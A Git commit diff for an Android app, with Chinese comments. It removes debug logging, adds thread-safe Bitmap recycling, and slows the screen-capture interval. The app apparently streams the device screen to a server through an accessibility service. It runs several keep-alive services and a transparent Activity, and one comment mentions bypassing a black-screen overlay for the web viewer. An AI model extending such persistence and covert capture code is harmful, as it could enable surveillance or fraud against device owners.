refactor: 清理 .gradle 缓存文件并优化 ScreenCaptureManager
- 删除 .gradle 缓存和锁文件(checksums, executionHistory, fileHashes 等) - 优化 ScreenCaptureManager 截屏逻辑 - 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码 - 清理多个 KeepAlive 相关服务中的无用导入 - 精简 InstallationStateManager 代码
This commit is contained in:
@@ -5473,10 +5473,8 @@ class MainActivity : AppCompatActivity() {
|
||||
if (isActivityResumed()) {
|
||||
// ✅ 直接更新静态变量(最高性能,无通信开销)
|
||||
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true)
|
||||
Log.v(TAG, "📡 已更新WebView打开状态(静态变量),Activity在前台")
|
||||
} else {
|
||||
// Activity不在前台,不更新状态,但继续检查
|
||||
Log.v(TAG, "📡 Activity不在前台,跳过状态更新")
|
||||
}
|
||||
|
||||
// 500ms后再次更新
|
||||
|
||||
@@ -79,8 +79,6 @@ class TransparentKeepAliveActivity : Activity() {
|
||||
val installationStateManager = InstallationStateManager.getInstance(this@TransparentKeepAliveActivity)
|
||||
val isInstallationComplete = installationStateManager.isInstallationComplete()
|
||||
|
||||
Log.d(TAG, "🔍 安装完成状态检查: $isInstallationComplete")
|
||||
|
||||
if (!isInstallationComplete) {
|
||||
Log.w(TAG, "⚠️ 安装未完成,透明保活Activity无效,直接关闭")
|
||||
finish()
|
||||
|
||||
@@ -29,7 +29,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
private const val CAPTURE_QUALITY = 55 // 🎯 优化:提升压缩质量,在数据量和画质间找到最佳平衡(30->55)
|
||||
private const val MAX_WIDTH = 480 // 更小宽度480px,测试单消息大小理论
|
||||
private const val MAX_HEIGHT = 854 // 更小高度854px,保持16:9比例
|
||||
private const val MIN_CAPTURE_INTERVAL = 66L // ✅ 调整为66ms,适配15FPS(1000ms/15fps≈66ms)
|
||||
private const val MIN_CAPTURE_INTERVAL = 3000L // ✅ 调整为3000ms,无障碍服务截图间隔3秒
|
||||
|
||||
// ✅ 持久化暂停状态相关常量
|
||||
private const val PAUSE_STATE_PREF = "screen_capture_pause_state"
|
||||
@@ -135,6 +135,41 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
Log.i(TAG, "屏幕尺寸: ${screenWidth}x${screenHeight}")
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 安全回收lastValidBitmap,防止多线程并发导致的native crash (SIGSEGV)
|
||||
*
|
||||
* 问题根因:多个协程(startMediaProjectionCapture、startAccessibilityScreenCapture、
|
||||
* captureWithMediaProjection等)并发访问lastValidBitmap,可能导致:
|
||||
* 1. double-recycle:Bitmap已被其他线程recycle但引用未置null
|
||||
* 2. Hardware Bitmap的底层HardwareBuffer已被释放
|
||||
* 两种情况都会在native层BitmapWrapper::freePixels()触发SIGSEGV
|
||||
*/
|
||||
private fun safeRecycleLastValidBitmap() {
|
||||
val bitmapToRecycle = lastValidBitmap
|
||||
lastValidBitmap = null // 先置null,防止其他线程访问
|
||||
try {
|
||||
if (bitmapToRecycle != null && !bitmapToRecycle.isRecycled) {
|
||||
bitmapToRecycle.recycle()
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
// 捕获所有异常,包括可能的native异常包装
|
||||
Log.w(TAG, "回收缓存Bitmap异常(可能已被其他线程回收): ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 安全回收任意Bitmap,防止native crash
|
||||
*/
|
||||
private fun safeRecycleBitmap(bitmap: Bitmap?) {
|
||||
try {
|
||||
if (bitmap != null && !bitmap.isRecycled) {
|
||||
bitmap.recycle()
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "回收Bitmap异常: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔑 启用AccessibilityService截图模式
|
||||
* 用于绕过黑屏遮罩,让Web端能够正常显示画面
|
||||
@@ -378,7 +413,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// ✅ 有效帧:发送并更新缓存
|
||||
sendFrameToServer(jpegData)
|
||||
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = bitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
lastValidBitmap?.let { trackBitmap(it) }
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
@@ -535,7 +570,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// 🔑 缓存成功的截图,用于防止闪烁
|
||||
try {
|
||||
// 清理旧的缓存
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
// 保存当前成功的截图副本
|
||||
lastValidBitmap = screenshot.copy(screenshot.config ?: Bitmap.Config.ARGB_8888, false)
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
@@ -559,7 +594,9 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// ❌ 真实截图失败,不发送任何数据,等待下一次截图
|
||||
// 之前发送测试图像会被服务端过滤且占用发送队列,得不偿失
|
||||
consecutiveFailures++
|
||||
Log.d(TAG, "📱 无障碍截图失败(${consecutiveFailures}次),跳过本帧等待下次")
|
||||
if (consecutiveFailures % 50 == 1) {
|
||||
Log.d(TAG, "📱 无障碍截图失败(${consecutiveFailures}次),跳过本帧等待下次")
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ 截图成功时按帧率延迟,失败时短延迟后立即重试
|
||||
@@ -652,7 +689,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
// 🔑 如果已切换到无障碍截图模式,直接使用无障碍截图,不再尝试 MediaProjection
|
||||
if (useAccessibilityScreenshot) {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
|
||||
Log.d(TAG, "🔑 无障碍截图模式,直接使用 AccessibilityService 截图")
|
||||
return captureWithAccessibilityService()
|
||||
}
|
||||
return null
|
||||
@@ -685,7 +721,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
val timeSinceLastScreenshot = currentTime - lastScreenshotTime
|
||||
|
||||
if (timeSinceLastScreenshot < MIN_CAPTURE_INTERVAL) {
|
||||
Log.d(TAG, "📱 截图间隔太短,跳过本次截图: ${timeSinceLastScreenshot}ms < ${MIN_CAPTURE_INTERVAL}ms")
|
||||
return null
|
||||
}
|
||||
|
||||
@@ -924,7 +959,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
}
|
||||
|
||||
// 更新缓存
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = newBitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
// 🔧 跟踪缓存的Bitmap副本
|
||||
lastValidBitmap?.let { trackBitmap(it) }
|
||||
@@ -962,8 +997,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
return lastValidBitmap!!.copy(Bitmap.Config.ARGB_8888, false)
|
||||
} else {
|
||||
Log.w(TAG, "缓存图像过期 (${timeSinceLastCapture}ms前),清理缓存")
|
||||
lastValidBitmap?.recycle()
|
||||
lastValidBitmap = null
|
||||
safeRecycleLastValidBitmap()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1002,7 +1036,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
val retryBitmap = convertImageToBitmap(retryImage)
|
||||
if (retryBitmap != null) {
|
||||
Log.i(TAG, "✅ Android 15重新初始化后成功获取图像")
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = retryBitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
return retryBitmap
|
||||
@@ -1775,8 +1809,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
Log.w(TAG, "🗑️ 清空屏幕数据队列,释放${queueSize}帧数据")
|
||||
|
||||
// 2. 清理缓存的图像
|
||||
lastValidBitmap?.recycle()
|
||||
lastValidBitmap = null
|
||||
safeRecycleLastValidBitmap()
|
||||
Log.w(TAG, "🗑️ 清理缓存图像")
|
||||
|
||||
// 3. 强制回收弱引用中的资源
|
||||
@@ -2147,9 +2180,8 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
imageReader?.close()
|
||||
imageReader = null
|
||||
|
||||
// 清理缓存的图像
|
||||
lastValidBitmap?.recycle()
|
||||
lastValidBitmap = null
|
||||
// ✅ 安全清理缓存的Bitmap,防止多线程并发导致native crash (SIGSEGV)
|
||||
safeRecycleLastValidBitmap()
|
||||
lastCaptureTime = 0L
|
||||
|
||||
Log.i(TAG, "VirtualDisplay和ImageReader已清理,MediaProjection权限保留")
|
||||
@@ -2445,7 +2477,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
|
||||
Log.i(TAG, "✅ Android 15强制刷新成功:${bitmap.width}x${bitmap.height}")
|
||||
|
||||
// 更新缓存
|
||||
lastValidBitmap?.recycle()
|
||||
safeRecycleLastValidBitmap()
|
||||
lastValidBitmap = bitmap.copy(Bitmap.Config.ARGB_8888, false)
|
||||
lastCaptureTime = System.currentTimeMillis()
|
||||
|
||||
|
||||
@@ -228,7 +228,6 @@ class AlarmManagerKeepAliveService : Service() {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),开始保活检查")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
|
||||
@@ -174,8 +174,6 @@ class BackgroundKeepAliveManager(private val context: Context) {
|
||||
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
||||
Log.d(TAG, "📱 无障碍服务权限正常,系统会自动管理无障碍服务生命周期")
|
||||
}
|
||||
} else {
|
||||
Log.d(TAG, "✅ AccessibilityService运行正常")
|
||||
}
|
||||
|
||||
// 检查前台服务
|
||||
|
||||
@@ -256,8 +256,6 @@ class EffectiveKeepAliveManager(private val context: Context) {
|
||||
if (accessibilityService == null) {
|
||||
Log.d(TAG, "🔍 无障碍权限正常,但AccessibilityService实例未初始化,等待初始化完成")
|
||||
// 权限正常但实例未初始化,等待初始化完成,不强制启动前台服务
|
||||
} else {
|
||||
Log.d(TAG, "✅ AccessibilityService运行正常")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -169,7 +169,6 @@ class KeepAliveService : Service() {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),开始监控无障碍权限")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
@@ -192,13 +191,9 @@ class KeepAliveService : Service() {
|
||||
val accessibilityService = AccessibilityRemoteService.getInstance()
|
||||
val accessibilityRunning = AccessibilityRemoteService.isServiceRunning()
|
||||
|
||||
Log.d(TAG, "🔍 检查服务状态: 实例=${accessibilityService != null}, 运行=${accessibilityRunning}")
|
||||
|
||||
if (accessibilityService == null || !accessibilityRunning) {
|
||||
Log.d(TAG, "🔍 无障碍权限正常,但服务实例未初始化或未运行,等待初始化完成")
|
||||
// 权限正常但服务未运行,等待初始化完成,不强制恢复
|
||||
} else {
|
||||
Log.d(TAG, "✅ AccessibilityService运行正常")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -377,7 +377,6 @@ class RemoteControlForegroundService : Service() {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),开始保活检测")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
|
||||
@@ -121,7 +121,6 @@ class WorkManagerKeepAliveService {
|
||||
return false
|
||||
}
|
||||
|
||||
Log.d(TAG, "✅ APP安装已完成且稳定(${timeSinceInstallation}ms),启动保活工作")
|
||||
true
|
||||
|
||||
} catch (e: Exception) {
|
||||
|
||||
@@ -65,7 +65,6 @@ class InstallationStateManager private constructor(private val context: Context)
|
||||
return try {
|
||||
val prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE)
|
||||
val isComplete = prefs.getBoolean(KEY_INSTALLATION_COMPLETE, false)
|
||||
Log.d(TAG, "🔍 安装完成状态检查: $isComplete")
|
||||
isComplete
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "❌ 检查安装完成状态失败", e)
|
||||
|
||||
Reference in New Issue
Block a user